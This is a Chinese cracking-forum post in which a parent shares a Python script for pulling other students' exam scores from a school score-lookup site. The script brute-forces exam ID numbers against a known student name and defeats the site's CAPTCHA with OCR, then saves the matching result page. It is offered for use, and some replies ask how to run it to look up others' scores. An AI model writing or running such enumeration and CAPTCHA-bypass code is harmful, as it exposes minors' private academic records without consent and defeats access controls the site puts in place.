吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1405|回复: 5
收起左侧

[学习记录] 用Python爬取X查分

[复制链接]
ths2022 发表于 2022-4-1 09:32
本帖最后由 ths2022 于 2022-4-21 14:34 编辑

因为孩子在上高中,想知道年级前几名的成绩,所以用Python写了爬取X查分的代码。
代码如下:
[Python] 纯文本查看 复制代码
[color=#000000]import requests[/color]
[color=#000000]import re
import ddddocr

session = requests.session()
url = 'https://xxxxxx.yichafen.com/public/checkcondition/sqcode/MsjcMn2mMzIwNHw3YjIzMGM2NTIwYjA4MzU0ZmE2Mzg3MDVkN2JmM2Q0YnwyNDQ4NDMO0O0O.html'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
    'Referer': 'https://xxxxxx.yichafen.com/public/queryscore/sqcode/MsjcMn2mMzIwNHw3YjIzMGM2NTIwYjA4MzU0ZmE2Mzg3MDVkN2JmM2Q0YnwyNDQ4NDMO0O0O.html',
}
begin = 10001
for num in range(begin, 10500):
    if num < begin + 4:
        response = session.get(url='https://xxxxxx.yichafen.com', headers=headers)
        r = session.post(url, headers=headers, data={'s_kaohao': num, 's_xingming': '姓名'})
        r.raise_for_status()
        str1 = re.search('姓名不正确',r.text)
        if not str1:
            res = session.get(url='https://xxxxxx.yichafen.com/public/queryresult.html', headers=headers)
            res.raise_for_status()
            print("%d right" % num)
            with open('cj.html', 'wb') as ff:
                for chunk in res.iter_content(100000):
                    ff.write(chunk)
            break
    else:
        sdk = ddddocr.DdddOcr()
        resp = session.get(url='https://xxxxxx.yichafen.com/public/verify.html', headers=headers)
        image_bytes = resp.content
        code = sdk.classification(image_bytes)
        ra = session.post(url, headers=headers, data={'s_kaohao': num, 's_xingming': '姓名', 'verify': code})
        ra.raise_for_status()
        str1 = re.search('姓名不正确', ra.text)
        if str1:
            continue
        str2 = re.search('验证码不正确', ra.text)
        if str2:
            print("%d 验证码不正确" % num)
            continue
        res = session.get(url='https://xxxxxx.yichafen.com/public/queryresult.html', headers=headers)
        res.raise_for_status()
        print("%d right" % num)
        with open('cj.html', 'wb') as ff:
            for chunk in res.iter_content(100000):
                ff.write(chunk)
        break[/color]

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

tanker059 发表于 2022-4-1 12:13
这也太卷了
1024A1024 发表于 2022-4-1 12:17
知许 发表于 2022-5-20 23:40
知许 发表于 2022-5-20 23:45
这个没有学生信息也能查到?
知许 发表于 2022-5-20 23:55
能不能加个联系方式啊 我也想查一下成绩 hhh 但是看不懂这个代码 联系ZhiXu3022
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止回复与主题无关非技术内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-6-1 08:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表